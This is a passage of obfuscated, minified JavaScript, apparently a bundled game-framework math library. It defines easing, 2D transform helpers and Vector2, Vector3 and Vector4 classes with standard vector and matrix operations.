Math['max'](0x0, Math['min'](0x1, (_0x431d87 - _0x700a5f) / (_0x271e13 - _0x700a5f)))) * _0x431d87 * _0x431d87 * (_0x431d87 * (0x6 * _0x431d87 - 0xf) + 0xa); }; }, 0xa3: (_0x38ebb9, _0x4141bd, _0x4a40f2) => { var _0x4de0f8 = _0x4a40f2(0x9e1); _0x38ebb9['exports'] = function (_0x21233b, _0x28b8f4, _0x3a8d4c, _0x5b617a) { void 0x0 === _0x5b617a && (_0x5b617a = new _0x4de0f8()); var _0x26dc58 = 0x0, _0x558d74 = 0x0; return _0x21233b > 0x0 && _0x21233b <= _0x28b8f4 * _0x3a8d4c && (_0x26dc58 = _0x21233b > _0x28b8f4 - 0x1 ? _0x21233b - (_0x558d74 = Math['floor'](_0x21233b / _0x28b8f4)) * _0x28b8f4 : _0x21233b), _0x5b617a['set'](_0x26dc58, _0x558d74); }; }, 0x1d84: (_0x2af1fe, _0x2a3d07, _0x448fe3) => { var _0x5465a1 = _0x448fe3(0x9e1); _0x2af1fe['exports'] = function (_0x45d78e, _0x3527fc, _0xc76db8, _0x4afaad, _0x5ecb8f, _0x5e9320, _0x32d3a3, _0x56dde6) { void 0x0 === _0x56dde6 && (_0x56dde6 = new _0x5465a1()); var _0x18b444 = Math['sin'](_0x5ecb8f), _0x8ef232 = Math['cos'](_0x5ecb8f), _0x47268f = _0x8ef232 * _0x5e9320, _0x165053 = _0x18b444 * _0x5e9320, _0x2f314e = -_0x18b444 * _0x32d3a3, _0x1d87a1 = _0x8ef232 * _0x32d3a3, _0x1153f3 = 0x1 / (_0x47268f * _0x1d87a1 + _0x2f314e * -_0x165053); return _0x56dde6['x'] = _0x1d87a1 * _0x1153f3 * _0x45d78e + -_0x2f314e * _0x1153f3 * _0x3527fc + (_0x4afaad * _0x2f314e - _0xc76db8 * _0x1d87a1) * _0x1153f3, _0x56dde6['y'] = _0x47268f * _0x1153f3 * _0x3527fc + -_0x165053 * _0x1153f3 * _0x45d78e + (-_0x4afaad * _0x47268f + _0xc76db8 * _0x165053) * _0x1153f3, _0x56dde6; }; }, 0x9e1: (_0x4363e9, _0x24c006, _0x56bc51) => { var _0x12898b = _0x56bc51(0x1d31), _0x5ad6ce = _0x56bc51(0xc), _0x25fed4 = new _0x12898b({ 'initialize': function (_0x3864cd, _0x786266) { this['x'] = 0x0, this['y'] = 0x0, 'object' == typeof _0x3864cd ? (this['x'] = _0x3864cd['x'] || 0x0, this['y'] = _0x3864cd['y'] || 0x0) : (void 0x0 === _0x786266 && (_0x786266 = _0x3864cd), this['x'] = _0x3864cd || 0x0, this['y'] = _0x786266 || 0x0); }, 'clone': function () { return new _0x25fed4(this['x'], this['y']); }, 'copy': function (_0x3bbd93) { return this['x'] = _0x3bbd93['x'] || 0x0, this['y'] = _0x3bbd93['y'] || 0x0, this; }, 'setFromObject': function (_0x8b8d87) { return this['x'] = _0x8b8d87['x'] || 0x0, this['y'] = _0x8b8d87['y'] || 0x0, this; }, 'set': function (_0x3e3986, _0x21c18c) { return void 0x0 === _0x21c18c && (_0x21c18c = _0x3e3986), this['x'] = _0x3e3986, this['y'] = _0x21c18c, this; }, 'setTo': function (_0x30c7b7, _0x3e10f2) { return this['set'](_0x30c7b7, _0x3e10f2); }, 'setToPolar': function (_0x226ce0, _0x28447b) { return null == _0x28447b && (_0x28447b = 0x1), this['x'] = Math['cos'](_0x226ce0) * _0x28447b, this['y'] = Math['sin'](_0x226ce0) * _0x28447b, this; }, 'equals': function (_0x59e411) { return this['x'] === _0x59e411['x'] && this['y'] === _0x59e411['y']; }, 'fuzzyEquals': function (_0x19b706, _0x37f431) { return _0x5ad6ce(this['x'], _0x19b706['x'], _0x37f431) && _0x5ad6ce(this['y'], _0x19b706['y'], _0x37f431); }, 'angle': function () { var _0x16947c = Math['atan2'](this['y'], this['x']); return _0x16947c < 0x0 && (_0x16947c += 0x2 * Math['PI']), _0x16947c; }, 'setAngle': function (_0x15cb83) { return this['setToPolar'](_0x15cb83, this['length']()); }, 'add': function (_0x53c63b) { return this['x'] += _0x53c63b['x'], this['y'] += _0x53c63b['y'], this; }, 'subtract': function (_0x123ff0) { return this['x'] -= _0x123ff0['x'], this['y'] -= _0x123ff0['y'], this; }, 'multiply': function (_0x2d212d) { return this['x'] *= _0x2d212d['x'], this['y'] *= _0x2d212d['y'], this; }, 'scale': function (_0x4719cc) { return isFinite(_0x4719cc) ? (this['x'] *= _0x4719cc, this['y'] *= _0x4719cc) : (this['x'] = 0x0, this['y'] = 0x0), this; }, 'divide': function (_0x12e0ff) { return this['x'] /= _0x12e0ff['x'], this['y'] /= _0x12e0ff['y'], this; }, 'negate': function () { return this['x'] = -this['x'], this['y'] = -this['y'], this; }, 'distance': function (_0x1fca7f) { var _0x484ddb = _0x1fca7f['x'] - this['x'], _0x773b6 = _0x1fca7f['y'] - this['y']; return Math['sqrt'](_0x484ddb * _0x484ddb + _0x773b6 * _0x773b6); }, 'distanceSq': function (_0x3730bc) { var _0x13f669 = _0x3730bc['x'] - this['x'], _0x2793b3 = _0x3730bc['y'] - this['y']; return _0x13f669 * _0x13f669 + _0x2793b3 * _0x2793b3; }, 'length': function () { var _0x365c65 = this['x'], _0x3e4574 = this['y']; return Math['sqrt'](_0x365c65 * _0x365c65 + _0x3e4574 * _0x3e4574); }, 'setLength': function (_0xfa0032) { return this['normalize']()['scale'](_0xfa0032); }, 'lengthSq': function () { var _0x45d4b6 = this['x'], _0x514009 = this['y']; return _0x45d4b6 * _0x45d4b6 + _0x514009 * _0x514009; }, 'normalize': function () { var _0xfd13bd = this['x'], _0x19830f = this['y'], _0x245cba = _0xfd13bd * _0xfd13bd + _0x19830f * _0x19830f; return _0x245cba > 0x0 && (_0x245cba = 0x1 / Math['sqrt'](_0x245cba), this['x'] = _0xfd13bd * _0x245cba, this['y'] = _0x19830f * _0x245cba), this; }, 'normalizeRightHand': function () { var _0x346798 = this['x']; return this['x'] = -0x1 * this['y'], this['y'] = _0x346798, this; }, 'normalizeLeftHand': function () { var _0x4373e6 = this['x']; return this['x'] = this['y'], this['y'] = -0x1 * _0x4373e6, this; }, 'dot': function (_0x3eebc0) { return this['x'] * _0x3eebc0['x'] + this['y'] * _0x3eebc0['y']; }, 'cross': function (_0x1dfcd4) { return this['x'] * _0x1dfcd4['y'] - this['y'] * _0x1dfcd4['x']; }, 'lerp': function (_0x1c4b2f, _0x2f4199) { void 0x0 === _0x2f4199 && (_0x2f4199 = 0x0); var _0x60839a = this['x'], _0x34c409 = this['y']; return this['x'] = _0x60839a + _0x2f4199 * (_0x1c4b2f['x'] - _0x60839a), this['y'] = _0x34c409 + _0x2f4199 * (_0x1c4b2f['y'] - _0x34c409), this; }, 'transformMat3': function (_0x35bb6b) { var _0x42cac9 = this['x'], _0x4f23ac = this['y'], _0x4e8382 = _0x35bb6b['val']; return this['x'] = _0x4e8382[0x0] * _0x42cac9 + _0x4e8382[0x3] * _0x4f23ac + _0x4e8382[0x6], this['y'] = _0x4e8382[0x1] * _0x42cac9 + _0x4e8382[0x4] * _0x4f23ac + _0x4e8382[0x7], this; }, 'transformMat4': function (_0x43f5f4) { var _0x4e2a43 = this['x'], _0x3a9e83 = this['y'], _0x377790 = _0x43f5f4['val']; return this['x'] = _0x377790[0x0] * _0x4e2a43 + _0x377790[0x4] * _0x3a9e83 + _0x377790[0xc], this['y'] = _0x377790[0x1] * _0x4e2a43 + _0x377790[0x5] * _0x3a9e83 + _0x377790[0xd], this; }, 'reset': function () { return this['x'] = 0x0, this['y'] = 0x0, this; }, 'limit': function (_0x543d88) { var _0x54603c = this['length'](); return _0x54603c && _0x54603c > _0x543d88 && this['scale'](_0x543d88 / _0x54603c), this; }, 'reflect': function (_0x11a57c) { return _0x11a57c = _0x11a57c['clone']()['normalize'](), this['subtract'](_0x11a57c['scale'](0x2 * this['dot'](_0x11a57c))); }, 'mirror': function (_0x15c644) { return this['reflect'](_0x15c644)['negate'](); }, 'rotate': function (_0x3b397d) { var _0x361cf2 = Math['cos'](_0x3b397d), _0x45b1be = Math['sin'](_0x3b397d); return this['set'](_0x361cf2 * this['x'] - _0x45b1be * this['y'], _0x45b1be * this['x'] + _0x361cf2 * this['y']); }, 'project': function (_0x3fd609) { var _0x59b652 = this['dot'](_0x3fd609) / _0x3fd609['dot'](_0x3fd609); return this['copy'](_0x3fd609)['scale'](_0x59b652); } }); _0x25fed4['ZERO'] = new _0x25fed4(), _0x25fed4['RIGHT'] = new _0x25fed4(0x1, 0x0), _0x25fed4['LEFT'] = new _0x25fed4(-0x1, 0x0), _0x25fed4['UP'] = new _0x25fed4(0x0, -0x1), _0x25fed4['DOWN'] = new _0x25fed4(0x0, 0x1), _0x25fed4['ONE'] = new _0x25fed4(0x1, 0x1), _0x4363e9['exports'] = _0x25fed4; }, 0x1639: (_0x396763, _0xd7bfb1, _0x312a4e) => { var _0x132b47 = new (_0x312a4e(0x1d31))({ 'initialize': function (_0xeb8c47, _0x931519, _0x3f9c31) { this['x'] = 0x0, this['y'] = 0x0, this['z'] = 0x0, 'object' == typeof _0xeb8c47 ? (this['x'] = _0xeb8c47['x'] || 0x0, this['y'] = _0xeb8c47['y'] || 0x0, this['z'] = _0xeb8c47['z'] || 0x0) : (this['x'] = _0xeb8c47 || 0x0, this['y'] = _0x931519 || 0x0, this['z'] = _0x3f9c31 || 0x0); }, 'up': function () { return this['x'] = 0x0, this['y'] = 0x1, this['z'] = 0x0, this; }, 'min': function (_0x26d788) { return this['x'] = Math['min'](this['x'], _0x26d788['x']), this['y'] = Math['min'](this['y'], _0x26d788['y']), this['z'] = Math['min'](this['z'], _0x26d788['z']), this; }, 'max': function (_0x55935c) { return this['x'] = Math['max'](this['x'], _0x55935c['x']), this['y'] = Math['max'](this['y'], _0x55935c['y']), this['z'] = Math['max'](this['z'], _0x55935c['z']), this; }, 'clone': function () { return new _0x132b47(this['x'], this['y'], this['z']); }, 'addVectors': function (_0x44a58c, _0x63eff5) { return this['x'] = _0x44a58c['x'] + _0x63eff5['x'], this['y'] = _0x44a58c['y'] + _0x63eff5['y'], this['z'] = _0x44a58c['z'] + _0x63eff5['z'], this; }, 'crossVectors': function (_0x221160, _0x3df2dd) { var _0xb8e292 = _0x221160['x'], _0x4fd49e = _0x221160['y'], _0x943686 = _0x221160['z'], _0x16d3f9 = _0x3df2dd['x'], _0x587e39 = _0x3df2dd['y'], _0x2db1a5 = _0x3df2dd['z']; return this['x'] = _0x4fd49e * _0x2db1a5 - _0x943686 * _0x587e39, this['y'] = _0x943686 * _0x16d3f9 - _0xb8e292 * _0x2db1a5, this['z'] = _0xb8e292 * _0x587e39 - _0x4fd49e * _0x16d3f9, this; }, 'equals': function (_0x16c53e) { return this['x'] === _0x16c53e['x'] && this['y'] === _0x16c53e['y'] && this['z'] === _0x16c53e['z']; }, 'copy': function (_0x30fc09) { return this['x'] = _0x30fc09['x'], this['y'] = _0x30fc09['y'], this['z'] = _0x30fc09['z'] || 0x0, this; }, 'set': function (_0x41f584, _0x5048a8, _0x1a3f16) { return 'object' == typeof _0x41f584 ? (this['x'] = _0x41f584['x'] || 0x0, this['y'] = _0x41f584['y'] || 0x0, this['z'] = _0x41f584['z'] || 0x0) : (this['x'] = _0x41f584 || 0x0, this['y'] = _0x5048a8 || 0x0, this['z'] = _0x1a3f16 || 0x0), this; }, 'setFromMatrixPosition': function (_0x17c43c) { return this['fromArray'](_0x17c43c['val'], 0xc); }, 'setFromMatrixColumn': function (_0x1365ae, _0xdd0c91) { return this['fromArray'](_0x1365ae['val'], 0x4 * _0xdd0c91); }, 'fromArray': function (_0x1f72c2, _0x5bd174) { return void 0x0 === _0x5bd174 && (_0x5bd174 = 0x0), this['x'] = _0x1f72c2[_0x5bd174], this['y'] = _0x1f72c2[_0x5bd174 + 0x1], this['z'] = _0x1f72c2[_0x5bd174 + 0x2], this; }, 'add': function (_0x150866) { return this['x'] += _0x150866['x'], this['y'] += _0x150866['y'], this['z'] += _0x150866['z'] || 0x0, this; }, 'addScalar': function (_0x5bec3b) { return this['x'] += _0x5bec3b, this['y'] += _0x5bec3b, this['z'] += _0x5bec3b, this; }, 'addScale': function (_0x2ba274, _0x1ee148) { return this['x'] += _0x2ba274['x'] * _0x1ee148, this['y'] += _0x2ba274['y'] * _0x1ee148, this['z'] += _0x2ba274['z'] * _0x1ee148 || 0x0, this; }, 'subtract': function (_0x11e452) { return this['x'] -= _0x11e452['x'], this['y'] -= _0x11e452['y'], this['z'] -= _0x11e452['z'] || 0x0, this; }, 'multiply': function (_0x18a9b3) { return this['x'] *= _0x18a9b3['x'], this['y'] *= _0x18a9b3['y'], this['z'] *= _0x18a9b3['z'] || 0x1, this; }, 'scale': function (_0x1f5fea) { return isFinite(_0x1f5fea) ? (this['x'] *= _0x1f5fea, this['y'] *= _0x1f5fea, this['z'] *= _0x1f5fea) : (this['x'] = 0x0, this['y'] = 0x0, this['z'] = 0x0), this; }, 'divide': function (_0x1032e4) { return this['x'] /= _0x1032e4['x'], this['y'] /= _0x1032e4['y'], this['z'] /= _0x1032e4['z'] || 0x1, this; }, 'negate': function () { return this['x'] = -this['x'], this['y'] = -this['y'], this['z'] = -this['z'], this; }, 'distance': function (_0x1c7f5c) { var _0x4afcd7 = _0x1c7f5c['x'] - this['x'], _0x33e418 = _0x1c7f5c['y'] - this['y'], _0x3b206c = _0x1c7f5c['z'] - this['z'] || 0x0; return Math['sqrt'](_0x4afcd7 * _0x4afcd7 + _0x33e418 * _0x33e418 + _0x3b206c * _0x3b206c); }, 'distanceSq': function (_0x4d5cb2) { var _0x1e51c9 = _0x4d5cb2['x'] - this['x'], _0x3aed29 = _0x4d5cb2['y'] - this['y'], _0x8095c8 = _0x4d5cb2['z'] - this['z'] || 0x0; return _0x1e51c9 * _0x1e51c9 + _0x3aed29 * _0x3aed29 + _0x8095c8 * _0x8095c8; }, 'length': function () { var _0x709148 = this['x'], _0x15f418 = this['y'], _0x397d74 = this['z']; return Math['sqrt'](_0x709148 * _0x709148 + _0x15f418 * _0x15f418 + _0x397d74 * _0x397d74); }, 'lengthSq': function () { var _0xde1795 = this['x'], _0x22f7de = this['y'], _0x320f95 = this['z']; return _0xde1795 * _0xde1795 + _0x22f7de * _0x22f7de + _0x320f95 * _0x320f95; }, 'normalize': function () { var _0x551e97 = this['x'], _0x56c3af = this['y'], _0x3601cb = this['z'], _0x3b8a4b = _0x551e97 * _0x551e97 + _0x56c3af * _0x56c3af + _0x3601cb * _0x3601cb; return _0x3b8a4b > 0x0 && (_0x3b8a4b = 0x1 / Math['sqrt'](_0x3b8a4b), this['x'] = _0x551e97 * _0x3b8a4b, this['y'] = _0x56c3af * _0x3b8a4b, this['z'] = _0x3601cb * _0x3b8a4b), this; }, 'dot': function (_0x42bb50) { return this['x'] * _0x42bb50['x'] + this['y'] * _0x42bb50['y'] + this['z'] * _0x42bb50['z']; }, 'cross': function (_0x38fd8b) { var _0x6b20c = this['x'], _0x2931d4 = this['y'], _0x224c79 = this['z'], _0x2f09fc = _0x38fd8b['x'], _0x45db6b = _0x38fd8b['y'], _0x425a63 = _0x38fd8b['z']; return this['x'] = _0x2931d4 * _0x425a63 - _0x224c79 * _0x45db6b, this['y'] = _0x224c79 * _0x2f09fc - _0x6b20c * _0x425a63, this['z'] = _0x6b20c * _0x45db6b - _0x2931d4 * _0x2f09fc, this; }, 'lerp': function (_0x5e7449, _0x3ffb63) { void 0x0 === _0x3ffb63 && (_0x3ffb63 = 0x0); var _0x3681dc = this['x'], _0x426719 = this['y'], _0x1be162 = this['z']; return this['x'] = _0x3681dc + _0x3ffb63 * (_0x5e7449['x'] - _0x3681dc), this['y'] = _0x426719 + _0x3ffb63 * (_0x5e7449['y'] - _0x426719), this['z'] = _0x1be162 + _0x3ffb63 * (_0x5e7449['z'] - _0x1be162), this; }, 'applyMatrix3': function (_0x14872d) { var _0x43d9ae = this['x'], _0x2e09cb = this['y'], _0x43ccfe = this['z'], _0x1c39b6 = _0x14872d['val']; return this['x'] = _0x1c39b6[0x0] * _0x43d9ae + _0x1c39b6[0x3] * _0x2e09cb + _0x1c39b6[0x6] * _0x43ccfe, this['y'] = _0x1c39b6[0x1] * _0x43d9ae + _0x1c39b6[0x4] * _0x2e09cb + _0x1c39b6[0x7] * _0x43ccfe, this['z'] = _0x1c39b6[0x2] * _0x43d9ae + _0x1c39b6[0x5] * _0x2e09cb + _0x1c39b6[0x8] * _0x43ccfe, this; }, 'applyMatrix4': function (_0x632326) { var _0x444b89 = this['x'], _0x408fb1 = this['y'], _0x315869 = this['z'], _0x46a839 = _0x632326['val'], _0x27df36 = 0x1 / (_0x46a839[0x3] * _0x444b89 + _0x46a839[0x7] * _0x408fb1 + _0x46a839[0xb] * _0x315869 + _0x46a839[0xf]); return this['x'] = (_0x46a839[0x0] * _0x444b89 + _0x46a839[0x4] * _0x408fb1 + _0x46a839[0x8] * _0x315869 + _0x46a839[0xc]) * _0x27df36, this['y'] = (_0x46a839[0x1] * _0x444b89 + _0x46a839[0x5] * _0x408fb1 + _0x46a839[0x9] * _0x315869 + _0x46a839[0xd]) * _0x27df36, this['z'] = (_0x46a839[0x2] * _0x444b89 + _0x46a839[0x6] * _0x408fb1 + _0x46a839[0xa] * _0x315869 + _0x46a839[0xe]) * _0x27df36, this; }, 'transformMat3': function (_0x22aa76) { var _0x3fd86c = this['x'], _0x40b17e = this['y'], _0x270343 = this['z'], _0x1f6c7d = _0x22aa76['val']; return this['x'] = _0x3fd86c * _0x1f6c7d[0x0] + _0x40b17e * _0x1f6c7d[0x3] + _0x270343 * _0x1f6c7d[0x6], this['y'] = _0x3fd86c * _0x1f6c7d[0x1] + _0x40b17e * _0x1f6c7d[0x4] + _0x270343 * _0x1f6c7d[0x7], this['z'] = _0x3fd86c * _0x1f6c7d[0x2] + _0x40b17e * _0x1f6c7d[0x5] + _0x270343 * _0x1f6c7d[0x8], this; }, 'transformMat4': function (_0x16796f) { var _0x4390ac = this['x'], _0x125bbe = this['y'], _0x2506d0 = this['z'], _0x1c89ba = _0x16796f['val']; return this['x'] = _0x1c89ba[0x0] * _0x4390ac + _0x1c89ba[0x4] * _0x125bbe + _0x1c89ba[0x8] * _0x2506d0 + _0x1c89ba[0xc], this['y'] = _0x1c89ba[0x1] * _0x4390ac + _0x1c89ba[0x5] * _0x125bbe + _0x1c89ba[0x9] * _0x2506d0 + _0x1c89ba[0xd], this['z'] = _0x1c89ba[0x2] * _0x4390ac + _0x1c89ba[0x6] * _0x125bbe + _0x1c89ba[0xa] * _0x2506d0 + _0x1c89ba[0xe], this; }, 'transformCoordinates': function (_0x96845f) { var _0xf805f0 = this['x'], _0x2fae18 = this['y'], _0x4cfaf0 = this['z'], _0x47c382 = _0x96845f['val'], _0x3e4124 = _0xf805f0 * _0x47c382[0x0] + _0x2fae18 * _0x47c382[0x4] + _0x4cfaf0 * _0x47c382[0x8] + _0x47c382[0xc], _0x12406c = _0xf805f0 * _0x47c382[0x1] + _0x2fae18 * _0x47c382[0x5] + _0x4cfaf0 * _0x47c382[0x9] + _0x47c382[0xd], _0x426e01 = _0xf805f0 * _0x47c382[0x2] + _0x2fae18 * _0x47c382[0x6] + _0x4cfaf0 * _0x47c382[0xa] + _0x47c382[0xe], _0x357a1b = _0xf805f0 * _0x47c382[0x3] + _0x2fae18 * _0x47c382[0x7] + _0x4cfaf0 * _0x47c382[0xb] + _0x47c382[0xf]; return this['x'] = _0x3e4124 / _0x357a1b, this['y'] = _0x12406c / _0x357a1b, this['z'] = _0x426e01 / _0x357a1b, this; }, 'transformQuat': function (_0x31cfcc) { var _0x1dd062 = this['x'], _0x14358f = this['y'], _0x533284 = this['z'], _0x1dc1c4 = _0x31cfcc['x'], _0x5dadd3 = _0x31cfcc['y'], _0x3749f1 = _0x31cfcc['z'], _0x56cbc2 = _0x31cfcc['w'], _0x8b96d1 = _0x56cbc2 * _0x1dd062 + _0x5dadd3 * _0x533284 - _0x3749f1 * _0x14358f, _0x307cbd = _0x56cbc2 * _0x14358f + _0x3749f1 * _0x1dd062 - _0x1dc1c4 * _0x533284, _0x2ec20f = _0x56cbc2 * _0x533284 + _0x1dc1c4 * _0x14358f - _0x5dadd3 * _0x1dd062, _0xab09c = -_0x1dc1c4 * _0x1dd062 - _0x5dadd3 * _0x14358f - _0x3749f1 * _0x533284; return this['x'] = _0x8b96d1 * _0x56cbc2 + _0xab09c * -_0x1dc1c4 + _0x307cbd * -_0x3749f1 - _0x2ec20f * -_0x5dadd3, this['y'] = _0x307cbd * _0x56cbc2 + _0xab09c * -_0x5dadd3 + _0x2ec20f * -_0x1dc1c4 - _0x8b96d1 * -_0x3749f1, this['z'] = _0x2ec20f * _0x56cbc2 + _0xab09c * -_0x3749f1 + _0x8b96d1 * -_0x5dadd3 - _0x307cbd * -_0x1dc1c4, this; }, 'project': function (_0x9b8ae5) { var _0x3d8c5c = this['x'], _0x3634ea = this['y'], _0x47a417 = this['z'], _0x38b42b = _0x9b8ae5['val'], _0x32fffa = _0x38b42b[0x0], _0x33c094 = _0x38b42b[0x1], _0x16f345 = _0x38b42b[0x2], _0x2b3858 = _0x38b42b[0x3], _0x274469 = _0x38b42b[0x4], _0x29cb23 = _0x38b42b[0x5], _0x5f2c2b = _0x38b42b[0x6], _0x54c03a = _0x38b42b[0x7], _0x2998de = _0x38b42b[0x8], _0x2a3d4d = _0x38b42b[0x9], _0x2aa0c8 = _0x38b42b[0xa], _0x4b1329 = _0x38b42b[0xb], _0x426440 = _0x38b42b[0xc], _0x313427 = _0x38b42b[0xd], _0x4b8cba = _0x38b42b[0xe], _0x1989d0 = 0x1 / (_0x3d8c5c * _0x2b3858 + _0x3634ea * _0x54c03a + _0x47a417 * _0x4b1329 + _0x38b42b[0xf]); return this['x'] = (_0x3d8c5c * _0x32fffa + _0x3634ea * _0x274469 + _0x47a417 * _0x2998de + _0x426440) * _0x1989d0, this['y'] = (_0x3d8c5c * _0x33c094 + _0x3634ea * _0x29cb23 + _0x47a417 * _0x2a3d4d + _0x313427) * _0x1989d0, this['z'] = (_0x3d8c5c * _0x16f345 + _0x3634ea * _0x5f2c2b + _0x47a417 * _0x2aa0c8 + _0x4b8cba) * _0x1989d0, this; }, 'projectViewMatrix': function (_0x289e16, _0x4ca2b7) { return this['applyMatrix4'](_0x289e16)['applyMatrix4'](_0x4ca2b7); }, 'unprojectViewMatrix': function (_0x48ea4b, _0x5667a3) { return this['applyMatrix4'](_0x48ea4b)['applyMatrix4'](_0x5667a3); }, 'unproject': function (_0x23bbcf, _0x59f1d2) { var _0x5f3a78 = _0x23bbcf['x'], _0x47cd61 = _0x23bbcf['y'], _0x478bae = _0x23bbcf['z'], _0xf5fdd0 = _0x23bbcf['w'], _0x73e9f7 = this['x'] - _0x5f3a78, _0x5822d2 = _0xf5fdd0 - this['y'] - 0x1 - _0x47cd61, _0x2a88f5 = this['z']; return this['x'] = 0x2 * _0x73e9f7 / _0x478bae - 0x1, this['y'] = 0x2 * _0x5822d2 / _0xf5fdd0 - 0x1, this['z'] = 0x2 * _0x2a88f5 - 0x1, this['project'](_0x59f1d2); }, 'reset': function () { return this['x'] = 0x0, this['y'] = 0x0, this['z'] = 0x0, this; } }); _0x132b47['ZERO'] = new _0x132b47(), _0x132b47['RIGHT'] = new _0x132b47(0x1, 0x0, 0x0), _0x132b47['LEFT'] = new _0x132b47(-0x1, 0x0, 0x0), _0x132b47['UP'] = new _0x132b47(0x0, -0x1, 0x0), _0x132b47['DOWN'] = new _0x132b47(0x0, 0x1, 0x0), _0x132b47['FORWARD'] = new _0x132b47(0x0, 0x0, 0x1), _0x132b47['BACK'] = new _0x132b47(0x0, 0x0, -0x1), _0x132b47['ONE'] = new _0x132b47(0x1, 0x1, 0x1), _0x396763['exports'] = _0x132b47; }, 0x243f: (_0x614e16, _0xd6f5f2, _0x11d2e5) => { var _0x207f24 = new (_0x11d2e5(0x1d31))({ 'initialize': function (_0x1be352, _0x48daab, _0x3bbcf9, _0x52441a) { this['x'] = 0x0, this['y'] = 0x0, this['z'] = 0x0, this['w'] = 0x0, 'object' == typeof _0x1be352 ? (this['x'] = _0x1be352['x'] || 0x0, this['y'] = _0x1be352['y'] || 0x0, this['z'] = _0x1be352['z'] || 0x0, this['w'] = _0x1be352['w'] || 0x0) : (this['x'] = _0x1be352 || 0x0, this['y'] = _0x48daab || 0x0, this['z'] = _0x3bbcf9 || 0x0, this['w'] = _0x52441a || 0x0); }, 'clone': function () { return new _0x207f24(this['x'], this['y'], this['z'], this['w']); }, 'copy': function (_0x1c0e2c) { return this['x'] = _0x1c0e2c['x'], this['y'] = _0x1c0e2c['y'], this['z'] = _0x1c0e2c['z'] || 0x0, this['w'] = _0x1c0e2c['w'] || 0x0, this; }, 'equals': function (_0x5ae3ec) { return this['x'] === _0x5ae3ec['x'] && this['y'] === _0x5ae3ec['y'] && this['z'] === _0x5ae3ec['z'] && this['w'] === _0x5ae3ec['w']; }, 'set': function (_0x114c93, _0x3da755, _0x167f50, _0x256b99) { return 'object' == typeof _0x114c93 ? (this['x'] = _0x114c93['x'] || 0x0, this['y'] = _0x114c93['y'] || 0x0, this['z'] = _0x114c93['z'] || 0x0, this['w'] = _0x114c93['w'] || 0x0) : (this['x'] = _0x114c93 || 0x0, this['y'] = _0x3da755 || 0x0, this['z'] = _0x167f50 || 0x0, this['w'] = _0x256b99 || 0x0), this; }, 'add': function (_0x21a5e8) { return this['x'] += _0x21a5e8['x'], this['y'] += _0x21a5e8['y'], this['z'] += _0x21a5e8['z'] || 0x0, this['w'] += _0x21a5e8['w'] || 0x0, this; }, 'subtract': function (_0x193cb3) { return this['x'] -= _0x193cb3['x'], this['y'] -= _0x193cb3['y'], this['z'] -= _0x193cb3['z'] || 0x0, this['w'] -= _0x193cb3['w'] || 0x0, this; }, 'scale': function (_0x36eda0) { return this['x'] *= _0x36eda0, this['y'] *= _0x36eda0, this['z'] *= _0x36eda0, this['w'] *= _0x36eda0, this; }, 'length': function () { var _0x2463d8 = this['x'], _0x11de00 = this['y'], _0x49b1e7 = this['z'], _0x56f319 = this['w']; return Math['sqrt'](_0x2463d8 * _0x2463d8 + _0x11de00 * _0x11de00 + _0x49b1e7 * _0x49b1e7 + _0x56f319 * _0x56f319); }, 'lengthSq': function () { var _0x547bd0 = this['x'], _0x4a7019 = this['y'], _0x570b92 = this['z'], _0x15c150 = this['w']; return _0x547bd0 * _0x547bd0 + _0x4a7019 * _0x4a7019 + _0x570b92 * _0x570b92 + _0x15c150 * _0x15c150; }, 'normalize': function () { var _0x175d58 = this['x'], _0x51f02d = this['y'], _0x5a372f = this['z'], _0x282a88 = this['w'], _0x3d527c = _0x175d58 * _0x175d58 + _0x51f02d * _0x51f02d + _0x5a372f * _0x5a372f + _0x282a88 * _0x282a88; return _0x3d527c > 0x0 && (_0x3d527c = 0x1 / Math['sqrt'](_0x3d527c), this['x'] = _0x175d58 * _0x3d527c, this['y'] = _0x51f02d * _0x3d527c, this['z'] = _0x5a372f * _0x3d527c, this['w'] = _0x282a88 * _0x3d527c), this; }, 'dot': function (_0x56e47d) { return this['x'] * _0x56e47d['x'] + this['y'] * _0x56e47d['y'] + this['z'] * _0x56e47d['z'] + this['w'] * _0x56e47d['w']; }, 'lerp': function (_0x2a04b4, _0x150ecc) { void 0x0 === _0x150ecc && (_0x150ecc = 0x0); var _0x1ac7ac = this['x'], _0x111140 = this['y'], _0x4564a4 = this['z'], _0x3cbc9f = this['w']; return this['x'] = _0x1ac7ac + _0x150ecc * (_0x2a04b4['x'] - _0x1ac7ac), this['y'] = _0x111140 + _0x150ecc * (_0x2a04b4['y'] - _0x111140), this['z'] = _0x4564a4 + _0x150ecc * (_0x2a04b4['z'] - _0x4564a4), this['w'] = _0x3cbc9f + _0x150ecc * (_0x2a04b4['w'] - _0x3cbc9f), this; }, 'multiply': function (_0x172fd4) { return this['x'] *= _0x172fd4['x'], this['y'] *= _0x172fd4['y'], this['z'] *= _0x172fd4['z'] || 0x1, this['w'] *= _0x172fd4['w'] || 0x1, this; }, 'divide': function (_0x31b0d7) { return this['x'] /= _0x31b0d7['x'], this['y'] /= _0x31b0d7['y'], this['z'] /= _0x31b0d7['z'] || 0x1, this['w'] /= _0x31b0d7['w'] || 0x1, this; }, 'distance': function (_0xc67474) { var _0x5b7d34 = _0xc67474['x'] - this['x'], _0xd47de3 = _0xc67474['y'] - this['y'], _0x4b36aa = _0xc67474['z'] - this['z'] || 0x0, _0x2b7072 = _0xc67474['w'] - this['w'] || 0x0; return Math['sqrt'](_0x5b7d34 * _0x5b7d34 + _0xd47de3 * _0xd47de3 + _0x4b36aa * _0x4b36aa + _0x2b7072 * _0x2b7072); }, 'distanceSq': function (_0x4d0ee8) { var _0x36fe40 = _0x4d0ee8['x'] - this['x'], _0x2e702f = _0x4d0ee8['y'] - this['y'], _0x3d009c = _0x4d0ee8['z'] - this['z'] || 0x0, _0xeb85c = _0x4d0ee8['w'] - this['w'] || 0x0; return _0x36fe40 * _0x36fe40 + _0x2e702f * _0x2e702f + _0x3d009c * _0x3d009c + _0xeb85c * _0xeb85c; }, 'negate': function () { return this['x'] = -this['x'], this['y'] = -this['y'], this['z'] = -this['z'], this['w'] = -this['w'], this; }, 'transformMat4': function (_0x21b418) { var _0x387269 = this['x'], _0xbc3da6 = this['y'], _0xdd4245 = this['z'], _0x59ff8e = this['w'], _0x4ea1a5 = _0x21b418['val']; return this['x'] = _0x4ea1a5[0x0] * _0x387269 + _0x4ea1a5[0x4] * _0xbc3da6 + _0x4ea1a5[0x8] * _0xdd4245 + _0x4ea1a5[0xc] * _0x59ff8e, this['y'] = _0x4ea1a5[0x1] * _0x387269 + _0x4ea1a5[0x5] * _0xbc3da6 + 